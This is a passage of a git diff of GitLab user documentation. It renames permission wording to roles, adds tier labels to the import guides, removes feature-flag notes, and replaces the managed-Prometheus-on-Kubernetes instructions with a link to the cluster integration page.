vulnerable if a remote machine is compromised by a hacker. You should limit access to the remote machine before a deploy key is enabled on your repository. A good rule to follow is to provide access only to trusted users, -and make sure that the allowed users have [maintainer permissions or higher](../../permissions.md) +and make sure that the allowed users have the [Maintainer role or higher](../../permissions.md) in the GitLab project. If this security implication is a concern for your organization, diff --git a/doc/user/project/deploy_tokens/index.md b/doc/user/project/deploy_tokens/index.md index e2fa63ce519..800aa27f612 100644 --- a/doc/user/project/deploy_tokens/index.md +++ b/doc/user/project/deploy_tokens/index.md @@ -190,4 +190,4 @@ docker login -u $CI_DEPLOY_USER -p $CI_DEPLOY_PASSWORD $CI_REGISTRY NOTE: The special handling for the `gitlab-deploy-token` deploy token is not implemented for group deploy tokens. To make the group-level deploy token available for -CI/CD jobs, use the workaround in [issue 214014](https://gitlab.com/gitlab-org/gitlab/-/issues/214014). +CI/CD jobs, the `CI_DEPLOY_USER` and `CI_DEPLOY_PASSWORD` variables should be set under **Settings** to the name and token of the group deploy token respectively. diff --git a/doc/user/project/description_templates.md b/doc/user/project/description_templates.md index 4a2bd56b7ba..d2897c7310e 100644 --- a/doc/user/project/description_templates.md +++ b/doc/user/project/description_templates.md @@ -106,11 +106,7 @@ instance or the project's parent groups. ### Set instance-level description templates **(PREMIUM SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360) in GitLab 13.9. -> - [Deployed behind a feature flag](../feature_flags.md), disabled by default. -> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56737) in GitLab 13.11. -> - Enabled by default on GitLab.com. -> - Recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level). **(PREMIUM SELF)** +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321247) in GitLab 14.0. You can set a description template at the **instance level** for issues and merge requests. @@ -132,11 +128,7 @@ Learn more about [instance template repository](../admin_area/settings/instance_ ### Set group-level description templates **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360) in GitLab 13.9. -> - [Deployed behind a feature flag](../feature_flags.md), disabled by default. -> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56737) in GitLab 13.11. -> - Enabled by default on GitLab.com. -> - Recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level). **(PREMIUM SELF)** +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321247) in GitLab 14.0. With **group-level** description templates, you can store your templates in a single repository and configure the group file templates setting to point to that repository. @@ -184,7 +176,7 @@ provide `issues_template` and `merge_requests_template` attributes in the ## Description template example We use description templates for issues and merge requests in the -[`.gitlab` folder](https://gitlab.com/gitlab-org/gitlab/tree/master/.gitlab) of the +[`.gitlab` folder](https://gitlab.com/gitlab-org/gitlab/-/tree/master/.gitlab) of the GitLab project, which you can refer to for some examples. NOTE: @@ -231,28 +223,3 @@ it's very hard to read otherwise.) /cc @project-manager /assign @qa-tester ``` - -## Enable or disable issue and merge request description templates at group and instance level **(PREMIUM SELF)** - -Setting issue and merge request description templates at group and instance levels -is under development but ready for production use. It is deployed behind a -feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can disable it. - -To disable it: - -```ruby -Feature.disable(:inherited_issuable_templates) -``` - -To enable it: - -```ruby -Feature.enable(:inherited_issuable_templates) -``` - -The feature flag affects these features: - -- Setting a templates project as issue and merge request description templates source at group level. -- Setting a templates project as issue and merge request description templates source at instance level. diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md index 576de63d00d..eb963cb74c5 100644 --- a/doc/user/project/file_lock.md +++ b/doc/user/project/file_lock.md @@ -80,7 +80,7 @@ Check this document to learn more about [using Git LFS](../../topics/git/lfs/ind ### Configure Exclusive File Locks -You need [Maintainer permissions](../permissions.md) to configure +You need the [Maintainer role](../permissions.md) to configure Exclusive File Locks for your project through the command line. The first thing to do before using File Locking is to tell Git LFS which @@ -201,8 +201,8 @@ This process allows you to lock one file at a time through the GitLab UI and requires access to [GitLab Premium](https://about.gitlab.com/pricing/) or higher tiers. -Default branch file and directory locks only apply to the default branch set in -the project's settings (usually `master`). +Default branch file and directory locks only apply to the +[default branch](repository/branches/default.md) set in the project's settings. Changes to locked files on the default branch are blocked, including merge requests that modify locked files. Unlock the file to allow changes. @@ -226,6 +226,6 @@ who locked the file. The **Locked Files**, accessed from **Project > Repository** left menu, lists all file and directory locks. Locks can be removed by their author, or any user -with Maintainer permissions and above. +with the [Maintainer role](../permissions.md) and above. This list shows all the files locked either through LFS or GitLab UI. diff --git a/doc/user/project/highlighting.md b/doc/user/project/highlighting.md index 2e5713e10be..aa8cf4549e2 100644 --- a/doc/user/project/highlighting.md +++ b/doc/user/project/highlighting.md @@ -45,7 +45,7 @@ To disable highlighting entirely, use `gitlab-language=text`. Lots more fun shen ``` Please note that these configurations only take effect when the `.gitattributes` -file is in your default branch (usually `master`). +file is in your [default branch](repository/branches/default.md). NOTE: The Web IDE does not support `.gitattribute` files, but it's [planned for a future release](https://gitlab.com/gitlab-org/gitlab/-/issues/22014). diff --git a/doc/user/project/img/code_owners_approval_new_protected_branch_v13_10.png b/doc/user/project/img/code_owners_approval_new_protected_branch_v13_10.png Binary files differdeleted file mode 100644 index ee4ee2c6d71..00000000000 --- a/doc/user/project/img/code_owners_approval_new_protected_branch_v13_10.png +++ /dev/null diff --git a/doc/user/project/img/code_owners_approval_protected_branch_v13_10.png b/doc/user/project/img/code_owners_approval_protected_branch_v13_10.png Binary files differdeleted file mode 100644 index 220eb207132..00000000000 --- a/doc/user/project/img/code_owners_approval_protected_branch_v13_10.png +++ /dev/null diff --git a/doc/user/project/import/bitbucket.md b/doc/user/project/import/bitbucket.md index e77932c6427..802eb3efc51 100644 --- a/doc/user/project/import/bitbucket.md +++ b/doc/user/project/import/bitbucket.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Import your project from Bitbucket Cloud to GitLab +# Import your project from Bitbucket Cloud to GitLab **(FREE)** NOTE: The Bitbucket Cloud importer works only with Bitbucket.org, not with Bitbucket diff --git a/doc/user/project/import/bitbucket_server.md b/doc/user/project/import/bitbucket_server.md index 1e79107d76f..963b9f524ff 100644 --- a/doc/user/project/import/bitbucket_server.md +++ b/doc/user/project/import/bitbucket_server.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Import your project from Bitbucket Server to GitLab +# Import your project from Bitbucket Server to GitLab **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20164) in GitLab 11.2. diff --git a/doc/user/project/import/clearcase.md b/doc/user/project/import/clearcase.md index 7e07ca6f865..27a84476590 100644 --- a/doc/user/project/import/clearcase.md +++ b/doc/user/project/import/clearcase.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Migrating from ClearCase +# Migrating from ClearCase **(FREE)** [ClearCase](https://www.ibm.com/products/rational-clearcase) is a set of tools developed by IBM which also include a centralized version control system diff --git a/doc/user/project/import/cvs.md b/doc/user/project/import/cvs.md index 61d4d29aa4d..55c5feff1f0 100644 --- a/doc/user/project/import/cvs.md +++ b/doc/user/project/import/cvs.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Migrating from CVS +# Migrating from CVS **(FREE)** [CVS](https://savannah.nongnu.org/projects/cvs) is an old centralized version control system similar to [SVN](svn.md). diff --git a/doc/user/project/import/fogbugz.md b/doc/user/project/import/fogbugz.md index 09505d94a8c..d3d77f16200 100644 --- a/doc/user/project/import/fogbugz.md +++ b/doc/user/project/import/fogbugz.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Import your project from FogBugz to GitLab +# Import your project from FogBugz to GitLab **(FREE)** It only takes a few simple steps to import your project from FogBugz. The importer imports all your cases and comments with original case diff --git a/doc/user/project/import/gemnasium.md b/doc/user/project/import/gemnasium.md index 5a4b16d57f5..37460da1289 100644 --- a/doc/user/project/import/gemnasium.md +++ b/doc/user/project/import/gemnasium.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-08-15' --- This document was deleted. diff --git a/doc/user/project/import/gitea.md b/doc/user/project/import/gitea.md index 41141902468..9364ac4f954 100644 --- a/doc/user/project/import/gitea.md +++ b/doc/user/project/import/gitea.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Import your project from Gitea to GitLab +# Import your project from Gitea to GitLab **(FREE)** Import your projects from Gitea to GitLab with minimal effort. diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md index c8b973b673e..99b3e1acdcf 100644 --- a/doc/user/project/import/github.md +++ b/doc/user/project/import/github.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Import your project from GitHub to GitLab +# Import your project from GitHub to GitLab **(FREE)** Using the importer, you can import your GitHub repositories to GitLab.com or to your self-managed GitLab instance. diff --git a/doc/user/project/import/gitlab_com.md b/doc/user/project/import/gitlab_com.md index 9e63b1cb617..f7eb5e43a79 100644 --- a/doc/user/project/import/gitlab_com.md +++ b/doc/user/project/import/gitlab_com.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Project importing from GitLab.com to your private GitLab instance +# Project importing from GitLab.com to your private GitLab instance **(FREE)** You can import your existing GitLab.com projects to your GitLab instance, but keep in mind that it is possible only if GitLab.com integration is enabled on your GitLab instance. diff --git a/doc/user/project/import/index.md b/doc/user/project/import/index.md index 3728a486070..05fd04f6e48 100644 --- a/doc/user/project/import/index.md +++ b/doc/user/project/import/index.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Migrate projects to a GitLab instance +# Migrate projects to a GitLab instance **(FREE)** See these documents to migrate to GitLab: diff --git a/doc/user/project/import/manifest.md b/doc/user/project/import/manifest.md index 94eba319a17..131732d2bae 100644 --- a/doc/user/project/import/manifest.md +++ b/doc/user/project/import/manifest.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Import multiple repositories by uploading a manifest file +# Import multiple repositories by uploading a manifest file **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28811) in GitLab 11.2. diff --git a/doc/user/project/import/perforce.md b/doc/user/project/import/perforce.md index 8040eb07c93..f3843396b79 100644 --- a/doc/user/project/import/perforce.md +++ b/doc/user/project/import/perforce.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Migrating from Perforce Helix +# Migrating from Perforce Helix **(FREE)** [Perforce Helix](https://www.perforce.com/) provides a set of tools which also include a centralized, proprietary version control system similar to Git. diff --git a/doc/user/project/import/phabricator.md b/doc/user/project/import/phabricator.md index 30a63a72cf9..6a1370f3301 100644 --- a/doc/user/project/import/phabricator.md +++ b/doc/user/project/import/phabricator.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Import Phabricator tasks into a GitLab project +# Import Phabricator tasks into a GitLab project **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/60562) in GitLab 12.0. diff --git a/doc/user/project/import/repo_by_url.md b/doc/user/project/import/repo_by_url.md index 3ff612c51a7..e504f3678a7 100644 --- a/doc/user/project/import/repo_by_url.md +++ b/doc/user/project/import/repo_by_url.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Import project from repository by URL +# Import project from repository by URL **(FREE)** You can import your existing repositories by providing the Git URL: diff --git a/doc/user/project/import/svn.md b/doc/user/project/import/svn.md index e39976e00f6..b88abf91ae1 100644 --- a/doc/user/project/import/svn.md +++ b/doc/user/project/import/svn.md @@ -5,7 +5,7 @@ group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Migrating from SVN to GitLab +# Migrating from SVN to GitLab **(FREE)** Subversion (SVN) is a central version control system (VCS) while Git is a distributed version control system. There are some major differences @@ -112,6 +112,10 @@ contact the SubGit team directly at [support@subgit.com](mailto:support@subgit.c ## Cut over migration with svn2git +NOTE: +Any issues with svn2git should be directed to the [relevant project and maintainer](https://github.com/nirvdrum/svn2git). +Check for existing issues and history for update frequency. + If you are currently using an SVN repository, you can migrate the repository to Git and GitLab. We recommend a hard cut over - run the migration command once and then have all developers start using the new GitLab repository immediately. diff --git a/doc/user/project/import/tfvc.md b/doc/user/project/import/tfvc.md index 705df686fe0..910be690d0b 100644 --- a/doc/user/project/import/tfvc.md +++ b/doc/user/project/import/tfvc.md @@ -1,11 +1,11 @@ --- -stage: none -group: unassigned +stage: Manage +group: Import info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts --- -# Migrate from TFVC to Git +# Migrate from TFVC to Git **(FREE)** Team Foundation Server (TFS), renamed [Azure DevOps Server](https://azure.microsoft.com/en-us/services/devops/server/) in 2019, is a set of tools developed by Microsoft which also includes diff --git a/doc/user/project/index.md b/doc/user/project/index.md index d9283f623d4..0dcbf997452 100644 --- a/doc/user/project/index.md +++ b/doc/user/project/index.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference --- -# Projects **(FREE)** +# Organize work with projects **(FREE)** In GitLab, you can create projects to host your codebase. You can also use projects to track issues, plan work, @@ -97,7 +97,7 @@ Projects include the following [features](https://about.gitlab.com/features/): - [Security Dashboard](../application_security/security_dashboard/index.md) **(ULTIMATE)** - [Syntax highlighting](highlighting.md): Customize your code blocks, overriding the default language choice. -- [Badges](badges.md): Add an image to the project overview. +- [Badges](badges.md): Add an image to the **Project information** page. - [Releases](releases/index.md): Take a snapshot of the source, build output, metadata, and artifacts associated with a released version of your code. diff --git a/doc/user/project/integrations/gitlab_slack_application.md b/doc/user/project/integrations/gitlab_slack_application.md index ef8c9d59132..ac70c7e4b4e 100644 --- a/doc/user/project/integrations/gitlab_slack_application.md +++ b/doc/user/project/integrations/gitlab_slack_application.md @@ -25,7 +25,7 @@ The simplest way to enable the GitLab Slack application for your workspace is to install the [GitLab application](https://slack-platform.slack.com/apps/A676ADMV5-gitlab) from the [Slack App Directory](https://slack.com/apps). -Clicking install takes you to the [GitLab Slack application landing page](https://gitlab.com/profile/slack/edit) +Clicking install takes you to the [GitLab Slack application landing page](https://gitlab.com/-/profile/slack/edit) where you can select a project to enable the GitLab Slack application for.  diff --git a/doc/user/project/integrations/hipchat.md b/doc/user/project/integrations/hipchat.md deleted file mode 100644 index 63772936fd4..00000000000 --- a/doc/user/project/integrations/hipchat.md +++ /dev/null @@ -1,7 +0,0 @@ ---- -redirect_to: 'index.md' ---- - -This document was moved to [another location](index.md). -<!-- This redirect file can be deleted after 2021-06-30. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/integrations/index.md b/doc/user/project/integrations/index.md index c7772ac2238..f9e15ced858 100644 --- a/doc/user/project/integrations/index.md +++ b/doc/user/project/integrations/index.md @@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w You can find the available integrations under your project's **Settings > Integrations** page. You need to have at least -[maintainer permission](../../permissions.md) on the project. +the [Maintainer role](../../permissions.md) on the project. ## Integrations diff --git a/doc/user/project/integrations/jira.md b/doc/user/project/integrations/jira.md index b91a8a1fb3b..521f15f330e 100644 --- a/doc/user/project/integrations/jira.md +++ b/doc/user/project/integrations/jira.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../integration/jira/index.md' +remove_date: '2021-07-07' --- This document was moved to [another location](../../../integration/jira/index.md). diff --git a/doc/user/project/integrations/jira_cloud_configuration.md b/doc/user/project/integrations/jira_cloud_configuration.md index b3091275835..c9ab4532760 100644 --- a/doc/user/project/integrations/jira_cloud_configuration.md +++ b/doc/user/project/integrations/jira_cloud_configuration.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../integration/jira/jira_cloud_configuration.md' +remove_date: '2021-06-18' --- This document was moved to [another location](../../../integration/jira/jira_cloud_configuration.md). diff --git a/doc/user/project/integrations/jira_integrations.md b/doc/user/project/integrations/jira_integrations.md index 485b48df01b..3aacf051c22 100644 --- a/doc/user/project/integrations/jira_integrations.md +++ b/doc/user/project/integrations/jira_integrations.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../integration/jira/index.md' +remove_date: '2021-07-13' --- This document was moved to [another location](../../../integration/jira/index.md). diff --git a/doc/user/project/integrations/jira_server_configuration.md b/doc/user/project/integrations/jira_server_configuration.md index 191b8f207a1..de6eec62b96 100644 --- a/doc/user/project/integrations/jira_server_configuration.md +++ b/doc/user/project/integrations/jira_server_configuration.md @@ -1,5 +1,6 @@ --- redirect_to: '../../../integration/jira/jira_server_configuration.md' +remove_date: '2021-06-18' --- This document was moved to [another location](../../../integration/jira/jira_server_configuration.md). diff --git a/doc/user/project/integrations/mattermost_slash_commands.md b/doc/user/project/integrations/mattermost_slash_commands.md index 20f5b73b37c..834bf15c287 100644 --- a/doc/user/project/integrations/mattermost_slash_commands.md +++ b/doc/user/project/integrations/mattermost_slash_commands.md @@ -67,9 +67,9 @@ After you enable custom slash commands in Mattermost, you need configuration information from GitLab. To get this information: 1. In a different browser tab than your current Mattermost session, sign in to - GitLab as a user with [administrator permissions](../../permissions.md). -1. In the top navigation bar, go to **{admin}** **Admin Area**. -1. In the left menu, go to **Settings > Integrations** and select + GitLab as a user with [Administrator role](../../permissions.md). +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left menu, select **Settings > Integrations**, then select **Mattermost slash commands**. 1. GitLab displays potential values for Mattermost settings. Copy the **Request URL** as you need it for the next step. All other values are suggestions. diff --git a/doc/user/project/integrations/overview.md b/doc/user/project/integrations/overview.md index 5bd4062b125..b0ae290e7cd 100644 --- a/doc/user/project/integrations/overview.md +++ b/doc/user/project/integrations/overview.md @@ -80,19 +80,6 @@ instance configuration or provide custom settings. Read more about [Project integration management](../../admin_area/settings/project_integration_management.md). -### Service templates - -[Service templates](services_templates.md) were a way to set predefined values for -a project integration across all new projects on the instance. They are deprecated and -[scheduled to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268032) -in GitLab 14.0. - -GitLab recommends you use [project integration management](../../admin_area/settings/project_integration_management.md) -instead of service templates. GitLab versions 13.3 and later provide -[instance-level integrations](../../admin_area/settings/project_integration_management.md#project-integration-management) -you can use. -instead. - ## Troubleshooting integrations Some integrations use service hooks for integration with external applications. To confirm which ones use service hooks, see the [integrations listing](#integrations-listing) above. GitLab stores details of service hook requests made within the last 2 days. To view details of the requests, go to that integration's configuration page. @@ -128,6 +115,6 @@ plugins. This allows the community to keep the plugins up to date so that they always work in newer GitLab versions. For an overview of what integrations are available, please see the -[project_services source directory](https://gitlab.com/gitlab-org/gitlab/tree/master/app/models/project_services). +[project_services source directory](https://gitlab.com/gitlab-org/gitlab/-/tree/master/app/models/project_services). Contributions are welcome! diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md index 4922c8d9b62..adc98151ce4 100644 --- a/doc/user/project/integrations/prometheus.md +++ b/doc/user/project/integrations/prometheus.md @@ -17,7 +17,7 @@ in the GitLab interface. There are two ways to set up Prometheus integration, depending on where your apps are running: -- For deployments on Kubernetes, GitLab can automatically [deploy and manage Prometheus](#managed-prometheus-on-kubernetes). +- For deployments on Kubernetes, GitLab can be [integrated with an in-cluster Prometheus](#prometheus-cluster-integration) - For other deployment targets, [specify the Prometheus server](#manual-configuration-of-prometheus). Once enabled, GitLab detects metrics from known services in the @@ -27,141 +27,13 @@ Once enabled, GitLab detects metrics from known services in the ## Enabling Prometheus Integration -### Managed Prometheus on Kubernetes +### Prometheus cluster integration -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28916) in GitLab 10.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55244) in GitLab 13.11. +> - [Replaced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62725) the Prometheus cluster applications in GitLab 14.0. -**Deprecated:** Managed Prometheus on Kubernetes is deprecated, and -scheduled for removal in [GitLab -14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280). - -GitLab can seamlessly deploy and manage Prometheus on a -[connected Kubernetes cluster](../clusters/index.md), to help you monitor your apps. - -#### Requirements - -- A [connected Kubernetes cluster](../clusters/index.md) - -#### Getting started - -After you have a connected Kubernetes cluster, you can deploy a managed Prometheus with a single click. - -1. Go to the **Operations > Kubernetes** page to view your connected clusters -1. Select the cluster you would like to deploy Prometheus to -1. Click the **Install** button to deploy Prometheus to the cluster - - - -#### About managed Prometheus deployments - -Prometheus is deployed into the `gitlab-managed-apps` namespace, using the -[official Helm chart](https://github.com/helm/charts/tree/master/stable/prometheus). -Prometheus is only accessible in the cluster, with GitLab communicating through the -[Kubernetes API](https://kubernetes.io/docs/concepts/overview/kubernetes-api/). - -The Prometheus server -[automatically detects and monitors](https://prometheus.io/docs/prometheus/latest/configuration/configuration/#kubernetes_sd_config) -nodes, pods, and endpoints. To configure a resource to be monitored by Prometheus, -set the following [Kubernetes annotations](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/): - -- `prometheus.io/scrape` to `true` to enable monitoring of the resource. -- `prometheus.io/port` to define the port of the metrics endpoint. -- `prometheus.io/path` to define the path of the metrics endpoint. Defaults to `/metrics`. - -CPU and Memory consumption is monitored, but requires -[naming conventions](prometheus_library/kubernetes.md#specifying-the-environment) -to determine the environment. If you are using -[Auto DevOps](../../../topics/autodevops/index.md), this is handled automatically. - -The [NGINX Ingress](../clusters/index.md#installing-applications) that is deployed -by GitLab to clusters, is automatically annotated for monitoring providing key -response metrics: latency, throughput, and error rates. - -##### Example of Kubernetes service annotations and labels - -As an example, to activate Prometheus monitoring of a service: - -1. Add at least this annotation: `prometheus.io/scrape: 'true'`. -1. Add two labels so GitLab can retrieve metrics dynamically for any environment: - - `application: ${CI_ENVIRONMENT_SLUG}` - - `release: ${CI_ENVIRONMENT_SLUG}` -1. Create a dynamic PromQL query. For example, a query like - `temperature{application="{{ci_environment_slug}}",release="{{ci_environment_slug}}"}` to either: - - Add [custom metrics](../../../operations/metrics/index.md#adding-custom-metrics). - - Add [custom dashboards](../../../operations/metrics/dashboards/index.md). - -The following is a service definition to accomplish this: - -```yaml ---- -# Service -apiVersion: v1 -kind: Service -metadata: - name: service-${CI_PROJECT_NAME}-${CI_COMMIT_REF_SLUG} - # === Prometheus annotations === - annotations: - prometheus.io/scrape: 'true' - labels: - application: ${CI_ENVIRONMENT_SLUG} - release: ${CI_ENVIRONMENT_SLUG} - # === End of Prometheus === -spec: - selector: - app: ${CI_PROJECT_NAME} - ports: - - port: ${EXPOSED_PORT} - targetPort: ${CONTAINER_PORT} -``` - -#### Access the UI of a Prometheus managed application in Kubernetes - -You can connect directly to Prometheus, and view the Prometheus user interface, when -using a Prometheus managed application in Kubernetes: - -1. Find the name of the Prometheus pod in the user interface of your Kubernetes - provider, such as GKE, or by running the following `kubectl` command in your - terminal: - - ```shell - kubectl get pods -n gitlab-managed-apps | grep 'prometheus-prometheus-server' - ``` - - The command should return a result like the following example, where - `prometheus-prometheus-server-55b4bd64c9-dpc6b` is the name of the Prometheus pod: - - ```plaintext - gitlab-managed-apps prometheus-prometheus-server-55b4bd64c9-dpc6b 2/2 Running 0 71d - ``` - -1. Run a `kubectl port-forward` command. In the following example, `9090` is the - Prometheus server's listening port: - - ```shell - kubectl port-forward prometheus-prometheus-server-55b4bd64c9-dpc6b 9090:9090 -n gitlab-managed-apps - ``` - - The `port-forward` command forwards all requests sent to your system's `9090` port - to the `9090` port of the Prometheus pod. If the `9090` port on your system is used - by another application, you can change the port number before the colon to your - desired port. For example, to forward port `8080` of your local system, change the - command to: - - ```shell - kubectl port-forward prometheus-prometheus-server-55b4bd64c9-dpc6b 8080:9090 -n gitlab-managed-apps - ``` - -1. Open `localhost:9090` in your browser to display the Prometheus user interface. - -#### Script access to Prometheus - -You can script the access to Prometheus, extracting the name of the pod automatically like this: - -```shell -POD_INFORMATION=$(kubectl get pods -n gitlab-managed-apps | grep 'prometheus-prometheus-server') -POD_NAME=$(echo $POD_INFORMATION | awk '{print $1;}') -kubectl port-forward $POD_NAME 9090:9090 -n gitlab-managed-apps -``` +GitLab can query an in-cluster Prometheus for your metrics. +See [Prometheus cluster integration](../../clusters/integrations.md#prometheus-cluster-integration) for details. ### Manual configuration of Prometheus @@ -223,12 +95,12 @@ to integrate with. ### Precedence with multiple Prometheus configurations Although you can enable both a [manual configuration](#manual-configuration-of-prometheus) -and [auto configuration](#managed-prometheus-on-kubernetes) of Prometheus, you +and [cluster integration](#prometheus-cluster-integration) of Prometheus, you can use only one: - If you have enabled a [Prometheus manual configuration](#manual-configuration-of-prometheus) - and a [managed Prometheus on Kubernetes](#managed-prometheus-on-kubernetes), + and a [Prometheus cluster integration](#prometheus-cluster-integration), the manual configuration takes precedence and is used to run queries from [custom dashboards](../../../operations/metrics/dashboards/index.md) and [custom metrics](../../../operations/metrics/index.md#adding-custom-metrics). diff --git a/doc/user/project/integrations/prometheus_library/kubernetes.md b/doc/user/project/integrations/prometheus_library/kubernetes.md index e14c1c0f6fd..1bafa4938af 100644 --- a/doc/user/project/integrations/prometheus_library/kubernetes.md +++ b/doc/user/project/integrations/prometheus_library/kubernetes.md @@ -33,7 +33,7 @@ integration services must be enabled. Prometheus needs to be deployed into the cluster and configured properly in order to gather Kubernetes metrics. GitLab supports two methods for doing so: -- GitLab [integrates with Kubernetes](../../clusters/index.md), and can [deploy Prometheus into a connected cluster](../prometheus.md#managed-prometheus-on-kubernetes). It is automatically configured to collect Kubernetes metrics. +- GitLab [integrates with Kubernetes](../../clusters/index.md), and can [query a Prometheus in a connected cluster](../../../clusters/integrations.md#prometheus-cluster-integration). The in-cluster Prometheus can be configured to automatically collect application metrics from your cluster. - To configure your own Prometheus server, you can follow the [Prometheus documentation](https://prometheus.io/docs/introduction/overview/). ## Specifying the Environment diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress.md b/doc/user/project/integrations/prometheus_library/nginx_ingress.md index 8846aadd420..d1fe58390fe 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress.md @@ -27,28 +27,6 @@ NGINX Ingress versions prior to 0.16.0 offer an included [VTS Prometheus metrics ## Configuring NGINX Ingress monitoring -If you have deployed NGINX Ingress using the GitLab [Kubernetes cluster integration](../../clusters/index.md#installing-applications), Prometheus [automatically monitors it](#about-managed-nginx-ingress-deployments). - -For other deployments, there is [some configuration](#manually-setting-up-nginx-ingress-for-prometheus-monitoring) required depending on your installation: - -- NGINX Ingress should be version 0.16.0 or above, with metrics enabled. -- NGINX Ingress should be annotated for Prometheus monitoring. -- Prometheus should be configured to monitor annotated pods. - -### About managed NGINX Ingress deployments - -NGINX Ingress is deployed into the `gitlab-managed-apps` namespace, using the [official Helm chart](https://github.com/helm/charts/tree/master/stable/nginx-ingress). NGINX Ingress is [externally reachable via the Load Balancer's Endpoint](../../../clusters/applications.md#ingress). - -NGINX is configured for Prometheus monitoring, by setting: - -- `enable-vts-status: "true"`, to export Prometheus metrics. -- `prometheus.io/scrape: "true"`, to enable automatic discovery. -- `prometheus.io/port: "10254"`, to specify the metrics port. - -When used in conjunction with the GitLab deployed Prometheus service, response metrics are automatically collected. - -### Manually setting up NGINX Ingress for Prometheus monitoring - Version 0.9.0 and above of [NGINX Ingress](https://github.com/kubernetes/ingress-nginx) have built-in support for exporting Prometheus metrics. To enable, a ConfigMap setting must be passed: `enable-vts-status: "true"`. Once enabled, a Prometheus metrics endpoint starts running on port 10254. Next, the Ingress needs to be annotated for Prometheus monitoring. Two new annotations need to be added: diff --git a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md index 4752fec976c..6bdd2c64dcf 100644 --- a/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md +++ b/doc/user/project/integrations/prometheus_library/nginx_ingress_vts.md @@ -27,28 +27,6 @@ GitLab has support for automatically detecting and monitoring the Kubernetes NGI ## Configuring NGINX Ingress monitoring -If you have deployed NGINX Ingress using the GitLab [Kubernetes cluster integration](../../clusters/index.md#installing-applications), Prometheus [automatically monitors](#about-managed-nginx-ingress-deployments) it. - -For other deployments, there is [some 